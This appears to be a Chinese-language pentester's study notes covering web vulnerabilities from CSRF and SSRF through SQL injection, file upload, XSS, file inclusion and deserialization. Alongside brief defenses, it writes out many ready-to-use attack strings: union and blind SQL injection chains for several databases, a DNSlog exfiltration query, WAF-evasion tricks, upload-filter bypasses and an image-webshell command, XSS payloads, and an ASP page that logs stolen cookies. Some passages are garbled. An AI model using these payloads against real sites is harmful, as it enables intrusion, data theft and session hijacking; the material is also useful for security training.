web漏洞(CSRF-SSRF-文件包含-文件解释-文件下载-目录遍历-sql注入-文件上传-反序列化-XSS-XXE-RCE-逻辑越权)

1.CSRF(跨站请求伪造)(需要对方是在登录的情况下)--主要用于骗转账等等

原理:A在已经登录了银行的网站,并且此时去访问了B所构造的网页添加了特殊代码,A点击了B,由于A已经登录了,就造成了A直接向

B转账的情况

检测:

可以用bp抓包检测

看看有没有设置Token值

防御:

设置随机Token(数据包的唯一值,用于标识数据包)

设置Referer值,数据包来源(但是这个可以修改伪造Referer值进行绕过)

2.SSRF(服务器请求伪造)--主要用于资产探测,信息搜集等

目标:内网系统

原理:

简而言之,就是攻击者利用外网主机为跳板去访问其内网主机。

比如该站点可以上传文件(必须是远程上传),上传的文件是一个地址,上传这个地址后,服务器会主动访问这个地址,假如我们提

交的文件地址是一个恶意地址,比如服务器上的mysql端口地址,在提交端就会显示出来mysql的版本等等

容易出现漏洞的地方:

分享,转码服务,在线翻译,图片加载和下载,收藏功能,

攻击方式:

以远程上传文件为例:

http协议:http://10.1.3.2:3306 mysql

file协议:file:///D:/phpstudy/www/。。。。。

dict协议

ftp协议

3.目录遍历

就猜就完事,dirsearch,御剑等等

作用:多有点突破点,了解架构

4.文件读取

操作:../上一级目录

作用:可以窃取文件(一些配置文件-有数据库密码账户等等,以及一些后台等等)

问题:需要提前知道文件位置,可以使用路径扫描工具

或者知道CMS网站源码架构,就可以猜测基本文件架构

5.文件下载

需要可以传参的地方,例如:filename=‘a.php’可以修改其地址下载(必须网站源代码中有下载函数功能)

比如../../config.txt等等

下载其配置信息文件,进行下一步的使用。

判断方式:

通过看其函数和传递的参数情况来判断

6.命令/代码执行(RCE):(一般需要白盒才可以发现)

Ⅰ.代码执行:(危害--执行脚本代码)

①脚本:比如写一个php文件,加一个get传过来的值x,函数eval(x),就可以脚本代码执行,比如输入X=phpinfo(),即可执行。

②产生:可控变量(x)和漏洞函数(eval())

因为设计代码时候,加了某些函数,可以由访问者传入的函数,通过构造恶意代码,执行脚本代码。

③检测:白盒黑盒

④防御:

敏感数据禁用:例如php中禁用eval,assert函数,java中禁用exec函数等等

变量过滤或固定:

WAF产品

Ⅱ.命令执行:(危害--执行系统命令(例如cmd命令))

①系统:由于系统不同,linux和windows不同,对应的命令也不同,例如linux中是ls ,windows中是dir/s

②产生:可控变量(x)和漏洞函数(system())

比如写一个php文件,加一个get传过来的值x,函数echo system(x),就可以脚本代码执行,比如输入Xsystem(x),就可以脚本

代码执行,比如输入X=phpinfo(),即可执行。

③检测:白盒黑盒

④防御:类似代码执行的防御方式。

7.XEE安全(xxe-labs)(实战较少)

Ⅰ.概念:

①XML:用于传输和存储数据的文件

②XEE:也叫XML文件外部实体注入漏洞,

③原理:网站接受xml数据提交,但是没有进行过滤

Ⅱ.危害:

①文件读取:最主要的作用

②RCE执行:需要php安装了expect扩展,可以执行命令

③内网探针

④DOS攻击

Ⅲ.检测:

①白盒:

函数及可控变量查找:

传输和存储数据格式类型:

②黑盒:

人工:

数据格式类型判断:

content-type值判断:text/xml application/xml

更改content-type值看返回(盲猜):将原来的content-type值改为application/xml,再加入恶意payload,提交查看回显

工具:

利用bp抓包,发送到spider项目里进行爬行,会在历史请求中看到爬到的网页,看MIME type值中去查看是否有XML

XXEEinjector

Ⅳ.利用:

①输出形式:

有回显:

协议玩法:

http

file

各脚本支持协议

外部引用:

无回显:

外部引用-反向链接配合:相当于提交的payload,让服务器访问本机的地址,查看其对应的log日志文件,看是否有新的记

录,若有记录,就是有漏洞,即可进行接下来的恶意代码等等,若没有记录,则没有

②过滤绕过:

协议玩法:data:// file:// php://filter协议绕过

外部引用:可以通过将具体的命令放到文件中,XXE漏洞payload中加上这个文件的地址即可,可以用于绕过

编码UTF-16BE:对其对应的关键字进行编码,比如system,file等关键字

Ⅴ.修复:

①禁用外部实体引用

②过滤关键字:system,file

③WAF产品

8.sql注入(将sqllab全部拿下,基本就没问题了)⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐

原理:将设计好的参数传送到后端接收数据,发送到数据库,数据库执行语句,结果返回到前端显示

前提准备:

信息收集:数据库类型,数据库用户(登录数据库的用户名和密码),操作系统,数据库版本等等

基本思路:

①明确数据库类型,权限

②m明确提交方法,参数类型等

③明确数据库记录信息系统表

④依次库,表,列,值注入查询

⑤找后台,登录,获取webshell

⑥若是高权限,可以进行,文件读写,命令执行,注册表读取等等

Ⅰ.数据库类型

①mysql:

相关函数:

在mysql5.0版本以上,存在information_schema,是一个存储所有数据库名,表名,列名information_schema.tables or information_schema.columns

database(),version(),user(),@@version_compile_os

group_concat()函数的作用:爆出某一字段下的所有值

文件读取函数:load_file() 例如 id=-1 union select 1,2,load_file('d:/WWW/·12.txt')

文件写入函数:into outfile或into dumpfile 可以利用其来上传webshell,id=-1 union select 1,'

注入例子:

首先,判断注入点:id=1 and 1=1成功 id=1 and 1=2错误表示注入点存在

其次,判断字段数,id=1 order by 1/2/3/4... 知道报错为止

再次,判断数据库名,操作系统等等,id=1 union select 1,version(),user(),database(),5

再次,判断其表名,id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='数据库名'

再次,判断其列名,id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='数据库名' and 'table_name='表名'

最后,爆出其列名相对应的字段:id=-1 union select 1,group_concat(id),group_concat(password),group_concat(status),5 from 数据库名.表名

②Access

该类型没有数据库大类,直接就是表,列,值-所以没有跨库操作,每一个表都是一个文件

注入例子:

判断注入点:

测试字段数:id=1 order by 1/2/3/4

直接爆表名:(因为该数据库类型没有information_schema表,所以爆表,列只能靠猜)id=1 union select 1,2,3 from admin/user/....

爆列名的值:(只能靠猜)id=1 union select 1,username/usname/....,password/passwd/.... from admin

如果猜不到怎么办:

偏移注入:(用于表名已知,列名猜解不到)

具体操作网上找,一级偏移和二级偏移

③mssql(sql server)

相关函数

判断权限:exists(select is_srvrolemember('sysadmin'))

判断可不可以读写:exists(select is_srvrolemember('db_owner'))

判断数据库版本:@@version

判断当前用户:User_Name()

判断计算机名称:host_name()

注入例子:

判断是不是mssql: id=1 and exist(select count(*) from sysobjects)

查询当前数据库:id=1 union select 1,db_name(),3 --+

查询表名:id=1 union select top 1 1,2,table_name from master.sysobjects where xtype='U'--+

查询列名:id=1 union select 1,name,3 from master.syscolumns where id=(select id from sysobjects where name='users')--+

④mongoDB(CTF中比较多)

是json键值类型数据,所以注入有一些不同

sqlmap不支持,NoSQLAttack支持

注入例子:

爆数据库:id=1'});return ({title:'1',content:'2

爆表:id=1'});return({title:tojson(db),content:'2

爆列名:id=1'});return({title:tojson(db.getCollectionNames()),content:'2

爆字段:id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2

⑤postgresql

相关函数:

读取文件命令:select system("comamnd_string");

写入文件命令:COPY (select '') to '/tmp/1.php';

读取文件命令:select pg_read_file(filepath+filename);

查看用户:SELECT user或SELECT current_user或SELECT session_user或者SELECT usename FROM pg_user

查看当前数据库:SELECT getpgusername()或SELECT current_database()

查看版本信息:SELECT version()

判断当前权限:select CURRENT_SCHEMA()

猜字段数:id=1+order+by+x--

注入例子:

判断postgresql数据库:id=1+and+1::int=1--

爆出所有的表:id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--

爆出列名:id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--爆出字段id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--

⑥sqlite(很少用到)

⑦oracle

相关函数:

判断是什么类型数据库and (select count () from dual)>0**

注入例子:

爆数据库:id=-1 union select ‘null’, (select banner from sys.v_$version where rownum=1) from dual

爆表:id=-1 union select ‘null’, TABLE_NAME from USER_TABLES

爆列名:id=-1 union select ‘null’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual

爆数据:id=-1 union select user_name,user_pwd from "sns_users"

⑧sybase(很少用到)

Ⅱ.提交方法(都可以根据其提交方法不同进行不同的注入方式)

①GET

②POST

③Cookie

④request:就是post和get都接受

⑤server:用来访问获取操作系统,用户IP,主机名,端口,服务等等

$_server['remote_host'],$_server['remote_addr']等等

⑥可以通过get注入,post注入,cookie注入,还有http请求头(X-Forward-for,User-Agent,等等字段)注入,具体根据其php代码接受的

参数是否拼接到sql查询语句中

Ⅲ.数据类型

①数据型

②字符型

③JOSN型(就是键值对,例如("username":"qiaokai"))--手机APP中使用比较多

可以通过其进行注入,例如json={"username":"qiaokai' and 1=2 union select 1,database(),3"#}(其中#为注释符,还有--+)

Ⅳ.查询方式

①查询select:select * from admin

②插入insert:insert into admin(id,passwd) values(1,'123456')

③删除delete:delete from admin where id=1

④更新update:update set passwd='123123' where id=1

⑤排序order by:select:select * from admin order by id

⑥select,insert,delete,update注入基本思路都一样,只是回显和语法不同而已

Ⅴ.没有回显的情况-盲注

用于没有会显的情况下,得到数据的方式

结合ord=ACSII,length(),subtrac(),mid(),left()等函数去猜测是哪个字符进行注入

①基于布尔的盲注-逻辑判断

利用上面的一些函数,如果正确,就正常显示,若不正确就报错

id=1 and left(version(),2)='5.'

②基于时间的盲注-延时判断

sleep():通过执行时间来判断是否被执行

id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

benchmark(count,expr):

可测试某些特定操作的执行速度。count指的是执行次数,expr表达式,表示重复计算表达式count次,评估执行表达式的

效率。

③基于报错的盲注-报错回显

floor:()

通过使用count()、floor()、rand()、groupby四个条件形成主键重复的错误floor(a)取整函数,返回小于等于a,且值最接近a

的一个整数floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。rand( ):生成一个0~1之间的随机浮点数,count(*):统计某个表下总共有多少条记录。group by x:按照(by)一定的规则(x)进行分组。

' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from

information_schema.columns group by a--+

updatexml:updatexml():

函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 新的XML片段 ,然后返回更改的XML。updatexml函数的使用形式为updatexml(XML_document,XPath_string,new_value)XML_document是String格式,为XML文档对象的名称。XPath_string,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 我们就是通过这个参数让数据库报错,继而得到我们需要的数据。new_value,String格式,替换查找到的符合条件的数据。

select updatexml(1,concat(0x7e,user(),0x7e),1);

extractvalue:extractvalue():

函数与updatexml()函数类似,

select extractvalue(1,concat(0x7e,user(),0x7e));

④基于排序的盲注

Ⅵ.注入拓展

①相关数据库函数:

路径获取常见函数:报错显示,遗留文件,漏洞报错(爆路径漏洞),平台配置文件,爆破等

②跨库:

获得其他数据库名的操作:id=-1 union select 1,group_concat(schema_name) ,2,3,4,5 from information_schema.schemata前提是WWW文件下多个网站,当sql注入获得一个网站的数据库root权限后,可以利用其root权限对其他数据库进行操作,也就是对其他网站的数据库进行操作(利用information_schema中的schemata表记录所有数据库名)

③注释语句:

--+

#

④加解密:

就是普通的对数据进行加解密算法

⑤二次注入:(绕过转义注入('->/'),利用的是插入insert时转义,后来数据库自己调用update时不会转义)

先构造恶意语句注入到数据库中,然后再当其数据库执行语句时,又用到了该插入的恶意语句

比如:注册账号,注册的用户名或者密码插入一些恶意语句,然后修改密码,或者修改用户名,数据库就会用到之前插入的恶

意语句(insert into user (username,pwd) values ('qiao' union select database(),2#','123456') 然后修改密码 update set

pwd='123456' from user where username='qiao' union select database(),2#'),完成二次注入

⑥dnslog带外注入:(也可以使用DnslogSql工具进行注入)

前提:需要注入点是高权限(文件读写)

原理:就是盲注时不回显示,通过特殊构造的语句和知道创宇公司的网站平台联合使用,将不回显的查询结果放到这个网站

中,在正常网页中无法看到注入结果,但在该网站中可以显示结果,也就形成了所谓的带外。

好处:解决了盲注不回显,效率低的问题

例子:id=1 and if ((select load_file(concat('\\\\',(select

version()),'.知道创宇网站中分配的identifier值\\abc')))1,0)--+

⑦中转注入:

原理:将目标地址放到脚本文件中,用sqlmap工具去访问127.0.0.1:8080/这个脚本文件进行注入,可以在该脚本文件中加入一

些加密解密,拼接的操作,从而达到一个中转的目的。

⑧堆叠查询:

原理:多条语句同时注入,同时执行,也就是所谓的堆叠

例子:在数据库中:

select * from admin;select * from user;可以一条命令行,同时执行

在实际注入中:

id=1';select *from admin--+

⑨IP白名单:

可以尝试使用修改数据包头来改地址,X-Forward-For,X-remote-IP/addr等等

⑩静态资源绕过方式:(主要是文件类型不同)

可以在其地址后加一个其他路径文件来注入,可以进行绕过

例子:

要对127.0.0.1:8080/index.php?id=1进行注入,可以对其127.0.0.1:8080/index.php/123.txt?id=1进行注入,WAF可能进行放行

11.url白名单:(主要是php/asp文件不同)

可以在其地址后加一个其他路径文件来注入,可以进行绕过

例子:

要对127.0.0.1:8080/index.php?id=1进行注入,可以对其127.0.0.1:8080/index.php/123.php?id=1进行注入,如果添加了该路

径的白名单,则WAF会进行放行

12.爬虫白名单:

WAF通过识别User-Agent来进行检测是否是爬虫,若被检测,会被短暂封禁IP

可以通过伪造其User-Agent来伪装成正常的搜索引擎访问,从而不被拦截

Ⅶ.防御方案及其对应的WAF绕过

①魔术引导:

magic_quotes_gpc.php文件功能打开或者使用:会对四种符号’ “ / \ 进行转义

绕过方式:

编码:16进制

宽字节:

②内置函数:

addslashes函数(过滤‘ ” / \)

is_int()/char()/integer()/long()函数(用来判断是否是对应类型的数据)

目前无法绕过

③关键字过滤:

函数str_replace('关键字 select/union/放个字典等等''想要替换成的字符',$id);

绕过方式:

利用大小写绕过:SeLeCt

④WAF防护软件及其对应的绕过:

安全狗:

宝塔

阿里云盾

Ⅸ.一些其他的绕过方式(一般都得多种绕过方法组合起来使用才有可能实现绕过)

①更改提交方法

有的情况下设置WAF只有对GET提交的数据进行检测,此时就可以通过改成POST提交就可以绕过

②大小写混合

SeLeCt UnIoN

③解密编码类

%0a-换行符 %20-空格 %23-#

④注释符混用

不一定非要放在句末,也可以放在句中

database/**/()--+

⑤等价函数替代

⑥特殊符号混用

⑦借助数据库特性

mysql:

利用注释符时: /*select *from user*/ 该语句执行为空语句, 但/*!select *from user*/ 加个叹号即可正常执行

特殊注释符:/*!50001 select *from admin*/该语句的意思是如果数据库的版本在5.00.01以上,则会执行以上语句

⑧HTTP参数污染

原理:若是php+apache 传递的多个参数取last 假设x=1&x=3 传递到后端就是x=3

若是jsp+tomcat 传递的多个参数取first假设x=1&x=3 传递到后端就是x=1

若是cgi+apache 传递的多个参数取first以此类推

若是python+apache 传递的多个参数取all以此类推

若是asp+iis 传递的多个参数取all以此类推

例子:

id=1/*&id=-1 union select 1,database(),3 #*/ 传给waf,waf匹配到的只有id=1,传给后端数据库因为参数污染,得到的是

id=-1 union select 1,database(),3 #*/ -> id=-1 union select 1,database(),3

⑨垃圾数据溢出

⑩重写

11.Fuzz大法(模糊测试)

也可以理解成为暴力测试

例子:

id=1 union%23 select 1,2,3 用bp抓包,用字典去大量修改%23,%24,%25等等,一次次的暴力测试。

Ⅹ.相关工具

①sqlmap(sql注入神器)

有一个temper脚本库(插件库):

特别好用,可以进行适当的修改来进行自己的操作

利用其代理:

--proxy指向本地,利用bp抓包,查看是哪里的错

WAF会对工具进行拦截:

用这个对其绕过--random-agent

还有流量拦截:

可以在其脚本文件中修改User-Agent头参数,修改成其他引擎参数

也可以用命令--user-agent来修改

还有延时注入:

防止请求过于频繁,被封禁IP,命令--delay等

多学习,学透sqlmap

②NoSQLAttack

③DnslogSql

9.文件上传(获得shell权限)

把upload-labs通关即可(github上有)

思路:

先找上传点->看看有没有解析漏洞iis那些->利用黑明白白名单绕过尝试->还不行,就找有没有CMS,CVE的文件上传漏洞。

Ⅰ.基本介绍

①原理:上传webshell后门,用工具连接

②危害:高危,直接获取到权限

③如何查找和判断:可以提交上传文件的地方

④需要注意的地方:上传成功之后有一个十分重要的点,必须得知道其后门路径

不知道路径的情况下:可以通过其CMS框架结构,来判断猜测上传的文件路径在哪里

若知道了CMS,可以利用其CMS框架漏洞来尝试

Ⅱ.前端验证:抓包修改文件名即可。

后端:

黑名单:asp,php,jsp,aspx,cgi,war等文件类型不让上传

绕过方式:因为apache可以php解析后缀为php3,php5,phtml类型的文件

还可以修改http头content-type字段的值

白名单:jpg,png,zip,rar,gif等文件类型让上传

其他类型绕过:(一般都需要诸多绕过方式联合起来使用)

文件解析漏洞:

.htaccess文件(只有apache可以用)

大小写绕过:

.pHp文件后缀

空格绕过:

.php空格(原因是没有进行收尾去空格,在后端检测时候,会检测成为.php空格,但黑名单中没有,就会放行,进入windows

后,windows会默认把空格去掉,就变成为.php文件。利用了系统的特性,但linux不会默认去除空格,所以在linux中无法

利用这种方法)

点绕过:

.php.(原因是没有进行去点检测,在后端检测时候,会检测成为.php.,但黑名单中没有,就会放行,进入windows后,windows

会默认把.去掉,就变成为.php文件。利用了系统的特性)

重写绕过:

.phphpp,系统后端过滤一次(代码写的时候不是循环,只过滤一次)就成了.php

::$DATA绕过:

%00截断=空格:(地址方面)

抓包修改路径提交保存的路径为:./upload/3.php%00,get(不需要对%00编码,原因是get提交方式会自动解码)或者post(需

要对%00编码,post提交方式不会自动解码)方式提交,后端得到的是3.php%00,还会在其后随机加上文件名和提交文件的

后缀,比如最后的结果是3.php%001321231.jpg,放到windows下,3.php 1321231.jpg直接默认变成3.php

0x00截断(文件命名方面)0x0a截断都是类型,只是代表的字符不同。

图片马生成命令:

copy 1.jpg /b +shell.php /a webshell.jpg

二次渲染:

是指两次上传,先选择文件,还需要点保存,比如学习通上传文件,普通的就一次,选择好照片就上传了。

但会有两种情况,一种是先上传上去,再验证是否删除

另一种是先验证,再上传。

第一种可以利用条件竞争,DDOS上传法,一直上传,一直访问,会出现,一直连接,一旦成功,文件会被占用,也就无法被

删除。第二种则没办法。

仿制文件夹方式:(适用于黑名单)

提交文件名为:123.php/.

数组绕过:(很难猜到,黑盒几乎破解不了)需要代码中有数组验证。

Fuzz大法(模糊测试):

GitHub上有字典,下载下来,用bp跑,一直爆破,看怎么可以绕过。

Ⅲ.漏洞/修复

①解析漏洞

在nighx下,可以用:

例子:www/123.jpg是上传的图片马,将地址改为www/123.jpg/123.php即可以执行php代码,若上传的文件名被修改,可以结合

爆破工具来尝试找

在IIS6.0下:(上传的jpg格式的文件以前者格式解析)

有文件夹绕过:这样命名123.php/123.jpg

文件绕过:这样命名123.php;123.jpg

在apache低版本中:

有未知后缀名解析漏洞,例如123.php是以php格式解析,但123.php.xxx也是以php解析,就是比如后面的后缀名不能解析

,就往前解析。

②CMS漏洞

例如:通达OA系统的文件上传漏洞

也是明白了系统版本,框架版本,网上找漏洞。

③其他漏洞

各种web编辑器的漏洞:(编辑器-是指传过来的文件,音频等进行编辑解码等等操作--最常见的就是学习通里交作业那个也是编

辑器)使用前提得知道编辑器的版本,和路径

fckeditor编辑器:知道版本号,直接利用网上的漏洞即可。

ueditor编辑器,ckeditrot编辑器,kindeditor编辑器等等

Ⅳ.WAF绕过

①safedog

数据溢出:比如-原来是abc.php,在字段中;;之间加垃圾数据;

例子:在content-disposition字段中;from-data;abcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlk

zxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzx

cnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcn

zabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnza

bcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnzabcasdlkzxcnz;name="upload",filename="a.php"

符号变异:比如正常数据包传输中:filename="123.php",可以修改成filename="123.php 或filename="123.php;实现绕过

数据截断:和上面差不多

重复数据:

例如:filename='1.jpg';filename='2.jpg';filename='3.jpg';filename='4.jpg';filename='5.jpg';filename='6.jpg';file

name='7.jpg';filename='8.jpg';filename='9.jpg';filename='1.php'

②宝塔

③云盾

10.XSS(github上有一个XSSlabs闯关游戏)--主要用于盗取cookie,用户保存的账号密码等等

Ⅰ.原理:

传参,get方式 x=还有post只是提交方式不同

有时候前端会有字数拦截,可以抓包修改

只要提交数据,前端有回显即可尝试XSS

主要可能触发的地方:留言板,评论区,站内搜索等等--主要是简单的反射型;若你提交的XSS语句,会有人点击查看触发,那就形

成了交互,这个危害就大了--可以利用beef等来进行控制

Ⅱ.分类:

①反射型:

发送的参数,发送到后端代码(后端的php),后端代码执行回应,单次的交互

②存储型:

存储在后端数据库某个表里,会多次交互,每次刷新都会弹窗

③DOM型:

发送的参数,在浏览器里代码(前端的js)解析,并且回应

Ⅲ.手法:

①XSS平台使用:利用相关平台,用来接收其他人点击所触发xss后传输的数据

xss platform

②XSS工具:

beef(XSS神器)

xsstrike

Ⅳ.绕过:

①代码绕过:

②http only:(仅仅阻止获取cookie)

在php.ini文件中的session.cookie_httponly=1/TRUE,(也可以在php代码中进行设置)设置了这个选项,获得到的cookie值为空

绕过方式:在phpinfo页面中会显示,想办法让对方访问这个页面,通过XSS平台来获取源码,盗取到session;

若登录者有习惯在网页上进行保存密码,可以利用XSS平台的获取保存的密码进行获取账号密码;

若登录者在网页上没有进行保存密码,需要XSS产生在登录框界面,利用表单劫持。

③WAF绕过:

<>实体化绕过:

<变成<,>变成>;,可以利用

结合大小写,重写,编码绕过

标签语法替换:

例如: 等等

特殊符号干扰:

例如:# @ --+ / !等等

提交方式更改:

get换post,put等等

垃圾数据溢出:

/asdadnkzc!dlknasdlczx.......

加密解密算法:

加解密

XSS结合其他漏洞

Ⅴ.修复:(安全修复方案)

开启http-only,进行输入检测,输出检测等

Ⅵ.危害:

比如,QQ空间里说说有XSS漏洞,我写一篇XSS代码(盗取cookie)发说说,然后诱使别人来点击我的说说,访问我的说

说的人的cookie就会发送到我这里。

若是反射型,可以盗取cookie,然后利用其cookie来绕过登录

Ⅶ.相关命令:

①窃取token

AAA

②http(s)∶创建一个链接 Session expired. Please login again.

③加载相对 url 脚本

④获取cookie:只能用于不限制弹窗的情况:

接受cookie的页面代码:

www.2cto.com

<%

testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request("msg") //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie

thisfile.close //关闭

set fs = nothing

%>

Ⅷ.其他知识:

cookie:存在本地,存活时间较长,一般是小中型网站,比如登录上网站,一般不退出就不需要重新登录

session:会话,存在服务器,存活时间较短,就比如登录上网站,过个几分钟就需要重新登录(更加安全) (常见的是会话劫持)

若网站采取session验证:则需要cookie和session同时提交登录--目前大多数都是session验证

webshell箱子:

就是自己写一个马,让别人去攻击,结果传到自己这里,他们攻击成功的数据就返回到了自己这里;还可以利用其webshell箱

子进行跨站漏洞,获取cookie,然后利用postman进行登录,它的webshell箱子就是自己的了。

判断网上下载的木马有没有木马,通过本地执行,看有没有发送到其他地址的包。

XSSLABS:

前端闭合

鼠标点击'οnclick='javascript:alert(1)'---htmlspecialchars函数对<>进行实体化

"οnmοuseοver="alert(123)

a

大小写绕过

重写绕过

转码:c->c

<---%3c >---%3d

11.文件包含-将文件以脚本执行

原理:例如有一个123.php文件中声明了包含include(123.txt),txt文件中写的是phpinfo(),直接访问123.php?x=123.txt,txt文件中的ph

pinfo函数会以php格式去解析。

Ⅰ.脚本:asp,aspx,php,jsp等等

Ⅱ.检测:黑盒:

白盒:

Ⅲ.类型:

分为有限制和无限制:

无限制是对包含的文件没有限制;

有限制就是对包含的文件有检测:可以通过00截断,或者可以使用./././././././././././../././././././././././././......超

过256位进行垃圾数据溢出绕过,或者是...............绕过也可以 00截断需要php版本在5.3.0以下

本地包含:比如:http://192.168.1.3/123.php?x=123.txt

远程包含:比如http://192.168.1.3/123.php?x=http://192.168.66.1/123.txt

Ⅳ.利用:

各种伪协议的结合使用

Ⅴ.修复:固定后缀,固定文件,WAF产品。

12.反序列化

PHP:(==验证值,===验证值和类型)

Ⅰ.原理:序列化就是将对象转换成字符串,反序列化就反过来,没有对反序列化的字符串进行检测,提交的字符串触发了其他的魔术

方法。

O/i:对象长度:“对象名称”:对象个数:{变量类型(s/i):变量名长度:“变量名”;值类型(s/i):值长度:“值”;。。。。。。}

函数-unserialize将字符串转换成对象

Ⅱ.技术:

①有类-触发魔术方法:看看有没有class,

魔术方法:__construct():在new一个对象的时候首先调用的函数,一般用于初始化。

__destruct():一个对象被销毁的是时候自动调用。

__get($p):访问的属性不存在或者权限不允许(protected和private)时调用,其中$p为值。

__set($p1,$p2):访问的属性不存在或者权限不允许(protected和private)时调用,其中$p1为参数,$p2为值。例如:$obj->

p1 = 'p2';

__call($p1,$p2):与__set()和__get()类似,当访问的函数不存在或者权限不允许(protected和private)时调用,其中$p1

为函数名,$p2为参数名。例如:$obj->p1("p2") ;

__invoke():当对象被当作函数时会调用。例如$obj();

__toString():当对象被echo等当成string时会调用。例如echo $obj;

__sleep():当使用序列化函数serialize()之前调用。

__wakeup():当使用反序列化函数unserialize()之前调用

②无类:例s:5:"qiao1",s是字符,i是数值

Ⅲ.利用:

①真实应用o::"abc":1:{s:2:"op":" 2"}

②CTF

Ⅳ.危害:

①sql注入

②代码执行

③目录遍历

JAVA:(工具生成payload--ysoserial工具)

Ⅰ.概念:原理与php序列化类似,只是序列化的函数不同,Java中的序列化函数是ObjectOutputStream类的wirteObject()函数,反序列化

就是ObjectInputStream类的readObject()函数 与php反序列化不同的是,php主要是因为魔术方法,而Java反序列化主要是因

为在传送过来的恶意数据没有进行检测,然后进行反序列化解密执行达到了执行恶意命令的情况。

若看到是以rO0AB开头的字符串,就是序列化后并进行base64加密的序列化字符串。

若看到是以aced开头的字符串,就是序列化后的16进制的序列化字符串。

Ⅱ.利用:

①payload生成器:

②自动检测工具或脚本:

Ⅲ.检测:

①黑盒:主要根据响应包中查看是否有对应格式的数据

②白盒:代码审计

Ⅳ.修复

13.逻辑安全(src漏洞中比较多)

Ⅰ.越权(不同于未授权访问)

①水平越权:是指用户A越权到用户B(同级的)

②垂直越权:是指普通用户越权到管理员等等(不同级的)--(更加重要,可以利用垂直越权,来提升权限,从而拿下web网站)

Ⅱ.登录:

①暴力破解:若传输的数据被加密了,若知道了其加密方式,可以利用爆破,加密后的密码本,或者bp里的payload加密功能

②本地加密传输

③cookie脆弱:通过修改返回包中的cookie值(一般只是白盒代码审计发现才有用)

④session劫持

⑤密文对比认证

⑥修改参数值:比如id参数,密码参数,返回结果0还是1,购买平台修改购买物品信息,数量,支付成功与否和支付价格,订单编号

等等

Ⅲ.工具:小米范,bp自带的有

Ⅳ.修复方案:

①前后端同时验证

②检查对方是否有相应的权限

③加密传输数据

④严格过滤和审查

⑤token,session验证:token主要是用于防止重放攻击的,session和cookie类似,只是前者在服务端,后者在客户端存储,token和ses

sion都存放在cookie中

Ⅴ.验证码破解:

①暴力破解:bp抓取爆破就行

②自动识别:fuzz工具,bp自带的插件有

③有没有验证码复用问题:同一标识的数据包可以提交多次

Ⅵ.找回

①客户端回显:点击得验证码,在抓相应包中会显示验证码。

②Response状态值:更改回应包,修改回应值(只有在前端验证结果情况下才可以)--单纯欺骗前端检测。

③session覆盖

④弱token缺陷:有时候提交一个假的token,会在响应包中显示真实的token

⑤找回流程绕过

Ⅶ.接口

①调用遍历

②参数篡改

③未授权访问

④webservice测试

⑤calback自定义

你可能感兴趣的:(网络安全,安全,web安全)